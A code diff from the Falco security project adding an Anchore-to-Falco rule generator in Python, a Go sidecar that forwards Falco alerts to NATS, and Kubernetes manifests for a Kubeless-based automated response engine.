"certifi": {
"hashes": [
"sha256:13e698f54293db9f89122b0581843a782ad0934a4fe0172d2a980ba77fc61bb7",
"sha256:9fa520c1bacfb634fa7af20a76bcbd3d5fb390481724c597da32c719a7dca4b0"
],
"version": "==2018.4.16"
},
"chardet": {
"hashes": [
"sha256:84ab92ed1c4d4f16916e05906b6b75a6c0fb5db821cc65e70cbd64a3e2a5eaae",
"sha256:fc323ffcaeaed0e0a02bf4d117757b98aed530d9ed4531e3e15460124c106691"
],
"version": "==3.0.4"
},
"idna": {
"hashes": [
"sha256:156a6814fb5ac1fc6850fb002e0852d56c0c8d2531923a51032d1b70760e186e",
"sha256:684a38a6f903c1d71d6d5fac066b58d7768af4de2b832e426ec79c30daa94a16"
],
"version": "==2.7"
},
"requests": {
"hashes": [
"sha256:63b52e3c866428a224f97cab011de738c36aec0185aa91cfacd418b5d58911d1",
"sha256:ec22d826a36ed72a7358ff3fe56cbd4ba69dd7a6718ffd450ff0e9df7a47ce6a"
],
"index": "pypi",
"version": "==2.19.1"
},
"urllib3": {
"hashes": [
"sha256:a68ac5e15e76e7e5dd2b8f94007233e01effe3e50e8daddf69acfd81cb686baf",
"sha256:b5725a0bd4ba422ab0e66e89e030c806576753ea3ee08554382c14e685d117b5"
],
"version": "==1.23"
}
},
"develop": {
"args": {
"hashes": [
"sha256:a785b8d837625e9b61c39108532d95b85274acd679693b71ebb5156848fcf814"
],
"version": "==0.1.0"
},
"clint": {
"hashes": [
"sha256:05224c32b1075563d0b16d0015faaf9da43aa214e4a2140e51f08789e7a4c5aa"
],
"version": "==0.5.1"
},
"coverage": {
"hashes": [
"sha256:03481e81d558d30d230bc12999e3edffe392d244349a90f4ef9b88425fac74ba",
"sha256:0b136648de27201056c1869a6c0d4e23f464750fd9a9ba9750b8336a244429ed",
"sha256:104ab3934abaf5be871a583541e8829d6c19ce7bde2923b2751e0d3ca44db60a",
"sha256:15b111b6a0f46ee1a485414a52a7ad1d703bdf984e9ed3c288a4414d3871dcbd",
"sha256:198626739a79b09fa0a2f06e083ffd12eb55449b5f8bfdbeed1df4910b2ca640",
"sha256:1c383d2ef13ade2acc636556fd544dba6e14fa30755f26812f54300e401f98f2",
"sha256:28b2191e7283f4f3568962e373b47ef7f0392993bb6660d079c62bd50fe9d162",
"sha256:2eb564bbf7816a9d68dd3369a510be3327f1c618d2357fa6b1216994c2e3d508",
"sha256:337ded681dd2ef9ca04ef5d93cfc87e52e09db2594c296b4a0a3662cb1b41249",
"sha256:3a2184c6d797a125dca8367878d3b9a178b6fdd05fdc2d35d758c3006a1cd694",
"sha256:3c79a6f7b95751cdebcd9037e4d06f8d5a9b60e4ed0cd231342aa8ad7124882a",
"sha256:3d72c20bd105022d29b14a7d628462ebdc61de2f303322c0212a054352f3b287",
"sha256:3eb42bf89a6be7deb64116dd1cc4b08171734d721e7a7e57ad64cc4ef29ed2f1",
"sha256:4635a184d0bbe537aa185a34193898eee409332a8ccb27eea36f262566585000",
"sha256:56e448f051a201c5ebbaa86a5efd0ca90d327204d8b059ab25ad0f35fbfd79f1",
"sha256:5a13ea7911ff5e1796b6d5e4fbbf6952381a611209b736d48e675c2756f3f74e",
"sha256:69bf008a06b76619d3c3f3b1983f5145c75a305a0fea513aca094cae5c40a8f5",
"sha256:6bc583dc18d5979dc0f6cec26a8603129de0304d5ae1f17e57a12834e7235062",
"sha256:701cd6093d63e6b8ad7009d8a92425428bc4d6e7ab8d75efbb665c806c1d79ba",
"sha256:7608a3dd5d73cb06c531b8925e0ef8d3de31fed2544a7de6c63960a1e73ea4bc",
"sha256:76ecd006d1d8f739430ec50cc872889af1f9c1b6b8f48e29941814b09b0fd3cc",
"sha256:7aa36d2b844a3e4a4b356708d79fd2c260281a7390d678a10b91ca595ddc9e99",
"sha256:7d3f553904b0c5c016d1dad058a7554c7ac4c91a789fca496e7d8347ad040653",
"sha256:7e1fe19bd6dce69d9fd159d8e4a80a8f52101380d5d3a4d374b6d3eae0e5de9c",
"sha256:8c3cb8c35ec4d9506979b4cf90ee9918bc2e49f84189d9bf5c36c0c1119c6558",
"sha256:9d6dd10d49e01571bf6e147d3b505141ffc093a06756c60b053a859cb2128b1f",
"sha256:9e112fcbe0148a6fa4f0a02e8d58e94470fc6cb82a5481618fea901699bf34c4",
"sha256:ac4fef68da01116a5c117eba4dd46f2e06847a497de5ed1d64bb99a5fda1ef91",
"sha256:b8815995e050764c8610dbc82641807d196927c3dbed207f0a079833ffcf588d",
"sha256:be6cfcd8053d13f5f5eeb284aa8a814220c3da1b0078fa859011c7fffd86dab9",
"sha256:c1bb572fab8208c400adaf06a8133ac0712179a334c09224fb11393e920abcdd",
"sha256:de4418dadaa1c01d497e539210cb6baa015965526ff5afc078c57ca69160108d",
"sha256:e05cb4d9aad6233d67e0541caa7e511fa4047ed7750ec2510d466e806e0255d6",
"sha256:e4d96c07229f58cb686120f168276e434660e4358cc9cf3b0464210b04913e77",
"sha256:f3f501f345f24383c0000395b26b726e46758b71393267aeae0bd36f8b3ade80",
"sha256:f8a923a85cb099422ad5a2e345fe877bbc89a8a8b23235824a93488150e45f6e"
],
"version": "==4.5.1"
},
"doublex": {
"hashes": [
"sha256:062af49d9e4148bc47b7512d3fdc8e145dea4671d074ffd54b2464a19d3757ab"
],
"index": "pypi",
"version": "==1.8.4"
},
"doublex-expects": {
"hashes": [
"sha256:5421bd92319c77ccc5a81d595d06e9c9f7f670de342b33e8007a81e70f9fade8"
],
"index": "pypi",
"version": "==0.7.0rc2"
},
"expects": {
"hashes": [
"sha256:37538d7b0fa9c0d53e37d07b0e8c07d89754d3deec1f0f8ed1be27f4f10363dd"
],
"index": "pypi",
"version": "==0.8.0"
},
"mamba": {
"hashes": [
"sha256:63e70a8666039cf143a255000e23f29be4ea4b5b8169f2b053f94eb73a2ea9e2"
],
"index": "pypi",
"version": "==0.9.3"
},
"pyhamcrest": {
"hashes": [
"sha256:6b672c02fdf7470df9674ab82263841ce8333fb143f32f021f6cb26f0e512420",
"sha256:7a4bdade0ed98c699d728191a058a60a44d2f9c213c51e2dd1e6fb42f2c6128a",
"sha256:8ffaa0a53da57e89de14ced7185ac746227a8894dbd5a3c718bf05ddbd1d56cd",
"sha256:bac0bea7358666ce52e3c6c85139632ed89f115e9af52d44b3c36e0bf8cf16a9",
"sha256:f30e9a310bcc1808de817a92e95169ffd16b60cbc5a016a49c8d0e8ababfae79"
],
"version": "==1.9.0"
},
"six": {
"hashes": [
"sha256:70e8a77beed4562e7f14fe23a786b54f6296e34344c23bc42f07b15018ff98e9",
"sha256:832dc0e10feb1aa2c68dcc57dbb658f1c7e65b9b61af69048abc87a2db00a0eb"
],
"version": "==1.11.0"
}
}
}

View File

@@ -0,0 +1,89 @@
# Create Falco rule from Anchore policy result
This integration creates a rule for Sysdig Falco based on Anchore policy result.
So that when we will try to run an image which has a ```stop``` final action result
in Anchore, Falco will alert us.
## Getting started
### Prerequisites
For running this integration you will need:
* Python 3.6
* pipenv
* An [anchore-engine](https://github.com/anchore/anchore-engine) running
### Configuration
This integration uses the [same environment variables that anchore-cli](https://github.com/anchore/anchore-cli#configuring-the-anchore-cli):
* ANCHORE_CLI_USER: The user used to conect to anchore-engine. By default is ```admin```
* ANCHORE_CLI_PASS: The password used to connect to anchore-engine.
* ANCHORE_CLI_URL: The url where anchore-engine listens. Make sure does not end with a slash. By default is ```http://localhost:8228/v1```
* ANCHORE_CLI_SSL_VERIFY: Flag for enabling if HTTP client verifies SSL. By default is ```true```
### Running
This is a Python program which generates a Falco rule based on anchore-engine
information:
```
pipenv run python main.py
```
And this will output something like:
```yaml
- macro: anchore_stop_policy_evaluation_containers
condition: container.image.id in ("8626492fecd368469e92258dfcafe055f636cb9cbc321a5865a98a0a6c99b8dd", "e86d9bb526efa0b0401189d8df6e3856d0320a3d20045c87b4e49c8a8bdb22c1")
- rule: Run Anchore Containers with Stop Policy Evaluation
desc: Detect containers which does not receive a positive Policy Evaluation from Anchore Engine.
condition: evt.type=execve and proc.vpid=1 and container and anchore_stop_policy_evaluation_containers
output: A stop policy evaluation container from anchore has started (%container.info image=%container.image)
priority: INFO
tags: [container]
```
You can save that output to ```/etc/falco/rules.d/anchore-integration-rules.yaml```
and Falco will start checking this rule.
As long as information in anchore-engine can change, it's a good idea to run this
integration **periodically** and keep the rule synchronized with anchore-engine
policy evaluation result.
## Tests
As long as there are contract tests with anchore-engine, it needs a working
anchore-engine and its environment variables.
```
pipenv install -d
pipenv run mamba --format=documentation
```
## Docker support
### Build the image
```
docker build -t sysdig/anchore-falco .
```
### Running the image
An image exists on DockerHub, its name is ```sysdig/anchore-falco```.
So you can run directly with Docker:
```
docker run --rm -e ANCHORE_CLI_USER=<user-for-custom-anchore-engine> \
-e ANCHORE_CLI_PASS=<passsword-for-user-for-custom-anchore-engine> \
-e ANCHORE_CLI_URL=http://<custom-anchore-engine-host>:8228/v1 \
sysdig/anchore-falco
```
And this will output the Falco rule based on *custom-anchore-engine-host*.

View File

@@ -0,0 +1,25 @@
import string
FALCO_RULE_TEMPLATE = string.Template('''
- macro: anchore_stop_policy_evaluation_containers
condition: container.image.id in ($images)
- rule: Run Anchore Containers with Stop Policy Evaluation
desc: Detect containers which does not receive a positive Policy Evaluation from Anchore Engine.
condition: evt.type=execve and proc.vpid=1 and container and anchore_stop_policy_evaluation_containers
output: A stop policy evaluation container from anchore has started (%container.info image=%container.image)
priority: INFO
tags: [container]
''')
class CreateFalcoRuleFromAnchoreStopPolicyResults:
def __init__(self, anchore_client):
self._anchore_client = anchore_client
def run(self):
images = self._anchore_client.get_images_with_policy_result('stop')
images = ['"{}"'.format(image) for image in images]
return FALCO_RULE_TEMPLATE.substitute(images=', '.join(images))

View File

@@ -0,0 +1,39 @@
import requests
class AnchoreClient:
def __init__(self, user, password, url, ssl_verify):
self._user = user
self._password = password
self._url = url
self._ssl_verify = ssl_verify
def get_images_with_policy_result(self, policy_result):
results = []
for image in self._get_all_images():
final_action = self._evaluate_image(image)
if final_action == 'stop':
results.append(image['image_id'])
return results
def _get_all_images(self):
response = self._do_get_request(self._url + '/images')
return [
{
'image_id': image['image_detail'][0]['imageId'],
'image_digest': image['image_detail'][0]['imageDigest'],
'full_tag': image['image_detail'][0]['fulltag']
} for image in response.json()]
def _do_get_request(self, url):
return requests.get(url,
auth=(self._user, self._password),
verify=self._ssl_verify,
headers={'Content-Type': 'application/json'})
def _evaluate_image(self, image):
response = self._do_get_request(self._url + '/images/{}/check?tag={}'.format(image['image_digest'], image['full_tag']))
if response.status_code == 200:
return response.json()[0][image['image_digest']][image['full_tag']][0]['detail']['result']['final_action']

View File

@@ -0,0 +1,21 @@
import os
import actions, infrastructure
def main():
anchore_client = infrastructure.AnchoreClient(
os.environ.get('ANCHORE_CLI_USER', 'admin'),
os.environ['ANCHORE_CLI_PASS'],
os.environ.get('ANCHORE_CLI_URL', 'http://localhost:8228/v1'),
os.environ.get('ANCHORE_CLI_SSL_VERIFY', True)
)
action = actions.CreateFalcoRuleFromAnchoreStopPolicyResults(anchore_client)
result = action.run()
print(result)
if __name__ == '__main__':
main()

View File

@@ -0,0 +1,21 @@
from mamba import description, it, before
from expects import expect, contain
from doublex import Stub, when
import actions
import infrastructure
with description(actions.CreateFalcoRuleFromAnchoreStopPolicyResults) as self:
with before.each:
self.anchore_client = Stub(infrastructure.AnchoreClient)
self.action = actions.CreateFalcoRuleFromAnchoreStopPolicyResults(self.anchore_client)
with it('queries Anchore Server for images with Stop as policy results'):
image_id = 'any image id'
when(self.anchore_client).get_images_with_policy_result('stop').returns([image_id])
result = self.action.run()
expect(result).to(contain(image_id))

View File

@@ -0,0 +1,19 @@
from mamba import description, it
from expects import expect, have_length, be_above
import os
import infrastructure
with description(infrastructure.AnchoreClient) as self:
with it('retrieves images with stop policy results'):
user = os.environ['ANCHORE_CLI_USER']
password = os.environ['ANCHORE_CLI_PASS']
url = os.environ['ANCHORE_CLI_URL']
client = infrastructure.AnchoreClient(user, password, url, True)
result = client.get_images_with_policy_result('stop')
expect(result).to(have_length(be_above(1)))

View File

@@ -19,14 +19,12 @@ spec:
image: sysdig/falco:latest
securityContext:
privileged: true
args: [ "/usr/bin/falco", "-K", "/var/run/secrets/kubernetes.io/serviceaccount/token", "-k", "https://kubernetes", "-pk"]
args: [ "/usr/bin/falco", "-K", "/var/run/secrets/kubernetes.io/serviceaccount/token", "-k", "https://kubernetes.default", "-pk"]
volumeMounts:
- mountPath: /host/var/run/docker.sock
name: docker-socket
readOnly: true
- mountPath: /host/dev
name: dev-fs
readOnly: true
- mountPath: /host/proc
name: proc-fs
readOnly: true

View File

@@ -18,14 +18,12 @@ spec:
image: sysdig/falco:latest
securityContext:
privileged: true
args: [ "/usr/bin/falco", "-K", "/var/run/secrets/kubernetes.io/serviceaccount/token", "-k", "https://kubernetes", "-pk", "-o", "json_output=true", "-o", "program_output.enabled=true", "-o", "program_output.program=jq '{text: .output}' | curl -d @- -X POST https://hooks.slack.com/services/see_your_slack_team/apps_settings_for/a_webhook_url"]
args: [ "/usr/bin/falco", "-K", "/var/run/secrets/kubernetes.io/serviceaccount/token", "-k", "https://kubernetes.default", "-pk", "-o", "json_output=true", "-o", "program_output.enabled=true", "-o", "program_output.program=jq '{text: .output}' | curl -d @- -X POST https://hooks.slack.com/services/see_your_slack_team/apps_settings_for/a_webhook_url"]
volumeMounts:
- mountPath: /host/var/run/docker.sock
name: docker-socket
readOnly: true
- mountPath: /host/dev
name: dev-fs
readOnly: true
- mountPath: /host/proc
name: proc-fs
readOnly: true

View File

@@ -0,0 +1,18 @@
# Kubernetes Response Engine for Sysdig Falco
A response engine for Falco that allows to process security events executing playbooks to respond to security threats.
## Architecture
* *[Falco](https://sysdig.com/opensource/falco/)* monitors containers and processes to alert on unexpected behavior. This is defined through the runtime policy built from multiple rules that define what the system should and shouldn't do.
* *falco-nats* forwards the alert to a message broker service into a topic compound by `falco.<severity>.<rule_name_slugified>`.
* *[NATS](https://nats.io/)*, our message broker, delivers the alert to any subscribers to the different topics.
* *[Kubeless](https://kubeless.io/)*, a FaaS framework that runs in Kubernetes, receives the security events and executes the configured playbooks.
## Glossary
* *Security event*: Alert sent by Falco when a configured rule matches the behaviour on that host.
* *Playbook*: Each piece code executed when an alert is received to respond to that threat in an automated way, some examples include:
- sending an alert to Slack
- stop the pod killing the container
- taint the specific node where the pod is running

View File

@@ -0,0 +1,9 @@
deploy:
kubectl apply -f nats/
kubectl apply -f kubeless/
kubectl apply -f network-policy.yaml
clean:
kubectl delete -f kubeless/
kubectl delete -f nats/
kubectl delete -f network-policy.yaml

View File

@@ -0,0 +1,20 @@
# Kubernetes Manifests for Kubernetes Response Engine
In this directory are the manifests for creating required infrastructure in the
Kubernetes cluster
## Deploy
For deploying NATS, Falco + Falco-NATS output and Kubeless just run default Makefile target:
```
make
```
## Clean
You can clean your cluster with:
```
make clean
```

View File

@@ -0,0 +1,5 @@
---
apiVersion: v1
kind: Namespace
metadata:
name: kubeless

View File

@@ -0,0 +1,369 @@
---
apiVersion: v1
kind: ServiceAccount
metadata:
name: controller-acct
namespace: kubeless
---
apiVersion: rbac.authorization.k8s.io/v1beta1
kind: ClusterRole
metadata:
name: kubeless-controller-deployer
rules:
- apiGroups:
- ""
resources:
- services
- configmaps
verbs:
- create
- get
- delete
- list
- update
- patch
- apiGroups:
- apps
- extensions
resources:
- deployments
verbs:
- create
- get
- delete
- list
- update
- patch
- apiGroups:
- ""
resources:
- pods
verbs:
- list
- delete
- apiGroups:
- ""
resourceNames:
- kubeless-registry-credentials
resources:
- secrets
verbs:
- get
- apiGroups:
- kubeless.io
resources:
- functions
- httptriggers
- cronjobtriggers
verbs:
- get
- list
- watch
- update
- delete
- apiGroups:
- batch
resources:
- cronjobs
- jobs
verbs:
- create
- get
- delete
- deletecollection
- list
- update
- patch
- apiGroups:
- autoscaling
resources:
- horizontalpodautoscalers
verbs:
- create
- get
- delete
- list
- update
- patch
- apiGroups:
- apiextensions.k8s.io
resources:
- customresourcedefinitions
verbs:
- get
- list
- apiGroups:
- monitoring.coreos.com
resources:
- alertmanagers
- prometheuses
- servicemonitors
verbs:
- '*'
- apiGroups:
- extensions
resources:
- ingresses
verbs:
- create
- get
- list
- update
- delete
---
apiVersion: rbac.authorization.k8s.io/v1beta1
kind: ClusterRoleBinding
metadata:
name: kubeless-controller-deployer
roleRef:
apiGroup: rbac.authorization.k8s.io
kind: ClusterRole
name: kubeless-controller-deployer
subjects:
- kind: ServiceAccount
name: controller-acct
namespace: kubeless
---
apiVersion: apiextensions.k8s.io/v1beta1
description: Kubernetes Native Serverless Framework
kind: CustomResourceDefinition
metadata:
name: functions.kubeless.io
spec:
group: kubeless.io
names:
kind: Function
plural: functions
singular: function
scope: Namespaced
version: v1beta1
---
apiVersion: apiextensions.k8s.io/v1beta1
description: CRD object for HTTP trigger type
kind: CustomResourceDefinition
metadata:
name: httptriggers.kubeless.io
spec:
group: kubeless.io
names:
kind: HTTPTrigger
plural: httptriggers
singular: httptrigger
scope: Namespaced
version: v1beta1
---
apiVersion: apiextensions.k8s.io/v1beta1
description: CRD object for HTTP trigger type
kind: CustomResourceDefinition
metadata:
name: cronjobtriggers.kubeless.io
spec:
group: kubeless.io
names:
kind: CronJobTrigger
plural: cronjobtriggers
singular: cronjobtrigger
scope: Namespaced
version: v1beta1
---
apiVersion: v1
data:
builder-image: kubeless/function-image-builder:v1.0.0-alpha.6
builder-image-secret: ""
deployment: '{}'
enable-build-step: "false"
function-registry-tls-verify: "true"
ingress-enabled: "false"
provision-image: kubeless/unzip@sha256:f162c062973cca05459834de6ed14c039d45df8cdb76097f50b028a1621b3697
provision-image-secret: ""
runtime-images: |-
[
{
"ID": "python",
"compiled": false,
"versions": [
{
"name": "python27",
"version": "2.7",
"runtimeImage": "kubeless/python@sha256:07cfb0f3d8b6db045dc317d35d15634d7be5e436944c276bf37b1c630b03add8",
"initImage": "python:2.7"
},
{
"name": "python34",
"version": "3.4",
"runtimeImage": "kubeless/python@sha256:f19640c547a3f91dbbfb18c15b5e624029b4065c1baf2892144e07c36f0a7c8f",
"initImage": "python:3.4"
},
{
"name": "python36",
"version": "3.6",
"runtimeImage": "kubeless/python@sha256:0c9f8f727d42625a4e25230cfe612df7488b65f283e7972f84108d87e7443d72",
"initImage": "python:3.6"
}
],
"depName": "requirements.txt",
"fileNameSuffix": ".py"
},
{
"ID": "nodejs",
"compiled": false,
"versions": [
{
"name": "node6",
"version": "6",
"runtimeImage": "kubeless/nodejs@sha256:013facddb0f66c150844192584d823d7dfb2b5b8d79fd2ae98439c86685da657",
"initImage": "node:6.10"
},
{
"name": "node8",
"version": "8",
"runtimeImage": "kubeless/nodejs@sha256:b155d7e20e333044b60009c12a25a97c84eed610f2a3d9d314b47449dbdae0e5",
"initImage": "node:8"
}
],
"depName": "package.json",
"fileNameSuffix": ".js"
},
{
"ID": "nodejs_distroless",
"compiled": false,
"versions": [
{
"name": "node8",
"version": "8",
"runtimeImage": "henrike42/kubeless/runtimes/nodejs/distroless:0.0.2",
"initImage": "node:8"
}
],
"depName": "package.json",
"fileNameSuffix": ".js"
},
{
"ID": "ruby",
"compiled": false,
"versions": [
{
"name": "ruby24",
"version": "2.4",
"runtimeImage": "kubeless/ruby@sha256:01665f1a32fe4fab4195af048627857aa7b100e392ae7f3e25a44bd296d6f105",
"initImage": "bitnami/ruby:2.4"
}
],
"depName": "Gemfile",
"fileNameSuffix": ".rb"
},
{
"ID": "php",
"compiled": false,
"versions": [
{
"name": "php72",
"version": "7.2",
"runtimeImage": "kubeless/php@sha256:9b86066b2640bedcd88acb27f43dfaa2b338f0d74d9d91131ea781402f7ec8ec",
"initImage": "composer:1.6"
}
],
"depName": "composer.json",
"fileNameSuffix": ".php"
},
{
"ID": "go",
"compiled": true,
"versions": [
{
"name": "go1.10",
"version": "1.10",
"runtimeImage": "kubeless/go@sha256:e2fd49f09b6ff8c9bac6f1592b3119ea74237c47e2955a003983e08524cb3ae5",
"initImage": "kubeless/go-init@sha256:983b3f06452321a2299588966817e724d1a9c24be76cf1b12c14843efcdff502"
}
],
"depName": "Gopkg.toml",
"fileNameSuffix": ".go"
},
{
"ID": "dotnetcore",
"compiled": true,
"versions": [
{
"name": "dotnetcore2.0",
"version": "2.0",
"runtimeImage": "allantargino/kubeless-dotnetcore@sha256:1699b07d9fc0276ddfecc2f823f272d96fd58bbab82d7e67f2fd4982a95aeadc",
"initImage": "allantargino/aspnetcore-build@sha256:0d60f845ff6c9c019362a68b87b3920f3eb2d32f847f2d75e4d190cc0ce1d81c"
}
],
"depName": "project.csproj",
"fileNameSuffix": ".cs"
},
{
"ID": "java",
"compiled": true,
"versions": [
{
"name": "java1.8",
"version": "1.8",
"runtimeImage": "kubeless/java@sha256:debf9502545f4c0e955eb60fabb45748c5d98ed9365c4a508c07f38fc7fefaac",
"initImage": "kubeless/java-init@sha256:7e5e4376d3ab76c336d4830c9ed1b7f9407415feca49b8c2bf013e279256878f"
}
],
"depName": "pom.xml",
"fileNameSuffix": ".java"
},
{
"ID": "ballerina",
"compiled": true,
"versions": [
{
"name": "ballerina0.975.0",
"version": "0.975.0",
"runtimeImage": "kubeless/ballerina@sha256:83e51423972f4b0d6b419bee0b4afb3bb87d2bf1b604ebc4366c430e7cc28a35",
"initImage": "kubeless/ballerina-init@sha256:05857ce439a7e290f9d86f8cb38ea3b574670c0c0e91af93af06686fa21ecf4f"
}
],
"depName": "",
"fileNameSuffix": ".bal"
}
]
service-type: ClusterIP
kind: ConfigMap
metadata:
name: kubeless-config
namespace: kubeless
---
apiVersion: apps/v1beta1
kind: Deployment
metadata:
labels:
kubeless: controller
name: kubeless-controller-manager
namespace: kubeless
spec:
selector:
matchLabels:
kubeless: controller
template:
metadata:
labels:
kubeless: controller
spec:
containers:
- env:
- name: KUBELESS_INGRESS_ENABLED
valueFrom:
configMapKeyRef:
key: ingress-enabled
name: kubeless-config
- name: KUBELESS_SERVICE_TYPE
valueFrom:
configMapKeyRef:
key: service-type
name: kubeless-config
- name: KUBELESS_NAMESPACE
valueFrom:
fieldRef:
fieldPath: metadata.namespace
- name: KUBELESS_CONFIG
value: kubeless-config
image: bitnami/kubeless-controller-manager:v1.0.0-alpha.6
imagePullPolicy: IfNotPresent
name: kubeless-controller-manager
serviceAccountName: controller-acct

View File

@@ -0,0 +1,74 @@
---
apiVersion: rbac.authorization.k8s.io/v1beta1
kind: ClusterRole
metadata:
name: nats-controller-deployer
rules:
- apiGroups:
- ""
resources:
- services
- configmaps
verbs:
- get
- list
- apiGroups:
- kubeless.io
resources:
- functions
- natstriggers
verbs:
- get
- list
- watch
- update
- delete
---
apiVersion: rbac.authorization.k8s.io/v1beta1
kind: ClusterRoleBinding
metadata:
name: nats-controller-deployer
roleRef:
apiGroup: rbac.authorization.k8s.io
kind: ClusterRole
name: nats-controller-deployer
subjects:
- kind: ServiceAccount
name: controller-acct
namespace: kubeless
---
apiVersion: apiextensions.k8s.io/v1beta1
description: CRD object for NATS trigger type
kind: CustomResourceDefinition
metadata:
name: natstriggers.kubeless.io
spec:
group: kubeless.io
names:
kind: NATSTrigger
plural: natstriggers
singular: natstrigger
scope: Namespaced
version: v1beta1
---
apiVersion: apps/v1beta1
kind: Deployment
metadata:
labels:
kubeless: nats-trigger-controller
name: nats-trigger-controller
namespace: kubeless
spec:
selector:
matchLabels:
kubeless: nats-trigger-controller
template:
metadata:
labels:
kubeless: nats-trigger-controller
spec:
containers:
- image: bitnami/nats-trigger-controller:v1.0.0-alpha.6
imagePullPolicy: IfNotPresent
name: nats-trigger-controller
serviceAccountName: controller-acct

View File

@@ -0,0 +1,82 @@
---
apiVersion: v1
kind: Namespace
metadata:
name: nats-io
---
apiVersion: v1
kind: ServiceAccount
metadata:
name: nats-operator
namespace: nats-io
---
apiVersion: apps/v1beta2
kind: Deployment
metadata:
name: nats-operator
namespace: nats-io
spec:
replicas: 1
selector:
matchLabels:
name: nats-operator
template:
metadata:
labels:
name: nats-operator
spec:
serviceAccountName: nats-operator
containers:
- name: nats-operator
image: connecteverything/nats-operator:0.2.2-v1alpha2
imagePullPolicy: Always
env:
- name: MY_POD_NAMESPACE
valueFrom:
fieldRef:
fieldPath: metadata.namespace
- name: MY_POD_NAME
valueFrom:
fieldRef:
fieldPath: metadata.name
---
apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRoleBinding
metadata:
name: nats-io:nats-operator-binding
roleRef:
apiGroup: rbac.authorization.k8s.io
kind: ClusterRole
name: nats-io:nats-operator
subjects:
- kind: ServiceAccount
name: nats-operator
namespace: nats-io
---
apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRole
metadata:
name: nats-io:nats-operator
rules:
# Allow creating CRDs
- apiGroups:
- apiextensions.k8s.io
resources:
- customresourcedefinitions
verbs: ["*"]
# Allow all actions on NatsClusters
- apiGroups:
- nats.io
resources:
- natsclusters
verbs: ["*"]
# Allow actions on basic Kubernetes objects
- apiGroups: [""]
resources:
- configmaps
- secrets
- pods
- services
- endpoints
- events
verbs: ["*"]

View File

@@ -0,0 +1,8 @@
apiVersion: "nats.io/v1alpha2"
kind: "NatsCluster"
metadata:
name: "nats"
namespace: "nats-io"
spec:
size: 3
version: "1.1.0"

View File

@@ -0,0 +1,11 @@
apiVersion: networking.k8s.io/v1
kind: NetworkPolicy
metadata:
name: isolate
spec:
podSelector:
matchLabels:
isolated: 'true'
policyTypes:
- Ingress
- Egress

View File

@@ -0,0 +1 @@
falco-nats

View File

@@ -0,0 +1,5 @@
FROM alpine:latest
COPY ./falco-nats /bin/
CMD ["/bin/falco-nats"]

View File

@@ -0,0 +1,12 @@
build:
GOOS=linux GOARCH=amd64 CGO_ENABLED=0 go build -ldflags="-s" -o falco-nats main.go
deps:
go get -u github.com/nats-io/go-nats
clean:
rm falco-nats
docker: build
docker build -t sysdig/falco-nats .
docker push sysdig/falco-nats

View File

@@ -0,0 +1,27 @@
# NATS output for Sysdig Falco
As Falco does not support a NATS output natively, we have created this small
golang utility wich reads Falco alerts from a named pipe and sends them to a
NATS server.
This utility is designed to being run in a sidecar container in the same
Pod as Falco.
## Configuration
You have a [complete Kubernetes manifest available](https://github.com/draios/falco/tree/kubernetes-response-engine/deployment/falco/falco-daemonset.yaml) for future reading.
Take a look at sidecar container and to the initContainers directive which
craetes the shared pipe between containers.
### Container image
You have this adapter available as a container image. Its name is *sysdig/falco-nats*.
### Parameters Reference
* -s: Specifies the NATS server URL where message will be published. By default
is: *nats://nats.nats-io.svc.cluster.local:4222*
* -f: Specifies the named pipe path where Falco publishes its alerts. By default
is: */var/run/falco/nats*

View File

@@ -0,0 +1,100 @@
// Copyright 2012-2018 The NATS Authors
// Licensed under the Apache License, Version 2.0 (the "License");
// you may not use this file except in compliance with the License.
// You may obtain a copy of the License at
//
// http://www.apache.org/licenses/LICENSE-2.0
//
// Unless required by applicable law or agreed to in writing, software
// distributed under the License is distributed on an "AS IS" BASIS,
// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
// See the License for the specific language governing permissions and
// limitations under the License.
// +build ignore
package main
import (
"bufio"
"encoding/json"
"flag"
"github.com/nats-io/go-nats"
"log"
"os"
"regexp"
"strings"
)
var slugRegularExpression = regexp.MustCompile("[^a-z0-9]+")
func main() {
var urls = flag.String("s", "nats://nats.nats-io.svc.cluster.local:4222", "The nats server URLs (separated by comma)")
var pipePath = flag.String("f", "/var/run/falco/nats", "The named pipe path")
log.SetFlags(0)
flag.Usage = usage
flag.Parse()
nc, err := nats.Connect(*urls)
if err != nil {
log.Fatal(err)
}
defer nc.Close()
pipe, err := os.OpenFile(*pipePath, os.O_RDONLY, 0600)
if err != nil {
log.Fatal(err)
}
log.Printf("Opened pipe %s", *pipePath)
reader := bufio.NewReader(pipe)
scanner := bufio.NewScanner(reader)
log.Printf("Scanning %s", *pipePath)
for scanner.Scan() {
msg := []byte(scanner.Text())
subj, err := subjectAndRuleSlug(msg)
if err != nil {
log.Fatal(err)
}
nc.Publish(subj, msg)
nc.Flush()
if err := nc.LastError(); err != nil {
log.Fatal(err)
} else {
log.Printf("Published [%s] : '%s'\n", subj, msg)
}
}
}
func usage() {
log.Fatalf("Usage: nats-pub [-s server (%s)] <subject> <msg> \n", nats.DefaultURL)
}
type parsedAlert struct {
Priority string `json:"priority"`
Rule string `json:"rule"`
}
func subjectAndRuleSlug(alert []byte) (string, error) {
var result parsedAlert
err := json.Unmarshal(alert, &result)
if err != nil {
return "", err
}
subject := "falco." + result.Priority + "." + slugify(result.Rule)
subject = strings.ToLower(subject)
return subject, nil
}
func slugify(input string) string {
return strings.Trim(slugRegularExpression.ReplaceAllString(strings.ToLower(input), "_"), "_")
}

View File

@@ -0,0 +1,104 @@
# Byte-compiled / optimized / DLL files
__pycache__/
*.py[cod]
*$py.class
# C extensions
*.so
# Distribution / packaging
.Python
build/
develop-eggs/
dist/
downloads/
eggs/
.eggs/
lib/
lib64/
parts/
sdist/
var/
wheels/
*.egg-info/
.installed.cfg
*.egg
MANIFEST
# PyInstaller
# Usually these files are written by a python script from a template
# before PyInstaller builds the exe, so as to inject date/other infos into it.
*.manifest
*.spec
# Installer logs
pip-log.txt
pip-delete-this-directory.txt
# Unit test / coverage reports
htmlcov/
.tox/
.coverage
.coverage.*
.cache
nosetests.xml
coverage.xml
*.cover
.hypothesis/
.pytest_cache/
# Translations
*.mo
*.pot
# Django stuff:
*.log
local_settings.py
db.sqlite3
# Flask stuff:
instance/
.webassets-cache
# Scrapy stuff:
.scrapy
# Sphinx documentation
docs/_build/
# PyBuilder
target/
# Jupyter Notebook
.ipynb_checkpoints
# pyenv
.python-version
# celery beat schedule file
celerybeat-schedule
# SageMath parsed files
*.sage.py
